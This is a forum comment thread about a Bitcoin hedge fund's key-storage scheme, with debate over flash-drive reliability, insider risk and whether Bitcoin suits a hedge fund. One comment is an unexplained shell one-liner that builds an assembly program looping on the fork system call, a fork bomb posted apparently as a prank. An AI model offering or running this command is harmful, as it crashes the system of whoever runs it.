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How the First Bitcoin Hedge Fund Approaches Security
An anonymous reader writes with a link to a story at Forbes about what's said to the first Bitcoin hedge fund; the article goes into some of the details of how the (literally) valuable data is kept. A selection: "The private key itself is AES-256 encrypted. After exporting Bitcoin private keys from wallet.dat file, data is stored in a TrueCrypt container on three separate flash drives. Using Shamir's Secret Sharing algorithm, the container password is then split into three parts utilizing a 2-of-3 secret sharing model. Incorporating physical security with electronic security, each flash drive from various manufacturers is duplicated several times and, together with a CD-ROM, those items are vaulted in a bank safety deposit box in three different legal jurisdictions. To leverage geographic distribution as well, each bank stores only part of a key, so if a single deposit box is compromised, no funds are lost."
So hundreds of thousand of dollars of peoples money (most of it virtual none the less) relying on some $50 flash drives.....No thanks. Ill pass.
Could someone explain what that all means in the summary using a pizza analogy?
I don't get it.
There is a second kind failure.
Let us imagine - you have perfectly secured system. Then you made some failure/human error and you cannot access your own system. This is the most likely event to occur. This is the highest risk for this fund. Let us imagine: their office got destroyed by fire and then at least one flash drive is not readable. By-by client money.
Using "literally" to describe valuable data makes no fucking sense. It either is or isn't.
Why do so many people not know how to use this word?
It's based on the Zimbabwean dollar. It's pretty secure too - I've rented safe deposit boxes all around the world and put the notes in them.
For some strange reason though, the money's not exactly pouring in.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It only takes one person in the organization who decides to go on permanent holiday to make an illicit copy of the various Bitcoin wallets and then transfer the funds to their own account once they have already landed in a place with no extradition treaty.
Seriously, nobody gives a shit outside of a bunch of armageddon-fantasy Paulites who masturbate to Ayn Rand.
The article describes impressive security precautions, but it leaves something out. Data is stored so it can be retrieved. On random days, restore and decrypt some test data, so everybody knows what to do and knows that it works.
Don't mess with The Phone Company. Piss them off and you'll be using two tin cans and a piece of string.
Armory as a Bitcoin client would have been a better choice for this, since they could have used the same 2-of-3 method for storing the private keys, but then they'd have the ability to use watching-only copies of the wallet for accounting and auditing purposes.
Such procedures only work for cold storage of Bitcoin: wallets where you have no access to them. Basically, the equivalent of a bank vault for gold: its there, its sitting, but you can't actually do anything with it. Worse, unlike a bank vault, you can't transfer the bitcoins while they are in this vault.
Therefore, the hedge fund's only strategy for these wallets is to buy BitCoins and sit on them. And do nothing. Which, if you believe in BitCoin, makes sense (the design is hyper-deflationary, so the only rational thing to do with BitCoins is to hold BitCoins), but thats hardly what you'd call a hedge-fund strategy.
So how can you call it a hedge fund when all it can do is buy & hold?
Test your net with Netalyzr
In v4 ponzi scheme!
It almost sounds y'all are talking about real money ...yet again.
"Bitcoin" and "Hedge Fund."
Two words that each should send a potential small-scale investor scurrying off in fear.
There's a sucker born every minute.
Hint: It's password1
Can we stop with the fucking flood of shitty BitCoin stories? What is this, 2011 and 2012 all over again?
We get it. A bunch of dumbasses are bitmining bitcoins and new world currency and blah blah blah.
Wake me up when you can do something useful with these bitcoins. last I saw, I could buy shitty overpriced Windows laptops, shampoo, speaker cable, and subscriptions at a few websites.
They forgot the Beware the Leopard sign.
i never heard of a hedge fund before, but i have heard of a retirement fund. when i saw the word hedge, i thought of a short row of shrubs. never heard of it used in a monetary sense except for "how much will ten bushes cost". lol btw, people still use bitcoins? i thought it crashed a while ago. guess the market is back to normal.
No, hedge funds typically use derivative instruments. Since a fundamental principal of hdge funds to to make a profit regardless of the underlying market, derivatives are a popular way to do this.
They could also simply diversify into a wide range of investments that are not correlated - or at least not correlated in the same direction (say, stocks, bonds, commodities, and properties). But that obviously isn't possible in this case. There's only one bitcoin instrument.
So, one must assume that they will create/buy instruments that are derivative of bitcoin. e.g. futures contracts, option contracts, etc.
Our first rule of security is to proudly announce our base strategy to the entire world, conveniently saving you the time and effort of figuring it out yourself.
In very limited longer-term storage experiments, I had complete data loss on several flash-drives. CD-ROM is not much better. If they understood how long-term data storage works, they would have copies on traditional HDDs and backup-copies printed on paper. What they are doing instead is on low amateur level.
Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
> because prices and wages are sticky.
Correction, were sticky. With this marvelous invention called "software", you can list prices in two currencies, and have one float against the other:
http://bitcoinstore.com/consumer-electronics/cameras-optics.html?cat=5526
Assuming I wanted bitcoins enough to get paid in them, I would not have a problem having my wage rate set in dollars, then converted on payday to the bitcoin equivalent. It's not like having software look up the market rate and do a division problem is hard or anything.
I want this to be immortalized, every snarky post and all the "what is this bitcoin you speak of" nonsense. Yes, you sit at the terminal every day, slamming out code - so you *must* know what is best, right? Well, much like the first iPod you panned because it had "lame" storage abilities, you're missing the entire point of bitcoin existing.
This is about monetary freedom. This is not about whether it will be "worth" $10, $100, $1,000 or $1 million. Pay attention, this is how it will evolve.
1.) Bitcoin created - by a rather intelligent programmer (Insight: perhaps that is why he's hated so much, achieving something sublime while everyone else here is arguing about what kind of desktop to use on Linux.)
2.) Edge-Exchanges form - These serve the purpose of allowing the transition ingress to the bitcoin economy.
3.) Sovereign Currencies Fail - Again, inflationary currencies are fully allowed to express themselves by massively failing, as they always do.
4.) Simutaneously, between steps three and four - supply chains are formed in the bitcoin economy entirely priced in bitcoin, severing the relationship to the currencies it will replace.
5.) After the massive financial failure, those left out in the cold will wonder why they ever ignored the bridge to a better system.
6.) Profit? Sure, but only if you're in the bitcoin-verse.
Go ahead and ridicule - but I'd bet that most technical jobs will be priced in bitcoin before it is all over. Better do your homework before it does. Seriously.
Actually that's my point, you want to be paid in dollars and prices to be in dollars, so bitcoin itself it not acting as the currency.
Also if it was going to be used long term, it would just encourage massive hoarding, it would be a guaranteed 10+ % interest rate. Same reason we can't use gold anymore.
Scanning down through the day I can't find another story more fitting of the site's slogan "News for nerds, stuff that matters." As a nerd, news that a crypto-anarchists P2P currency has reached the stage of hedge funds only 4 years after being launched and details of how the fund manager intends to secure the keys for customers is simply fascinating.
I agree with you 100%. It's just a shame that slashdot has been taken over by troglodytes who think encryption is a scam because they're unable to do algebra.
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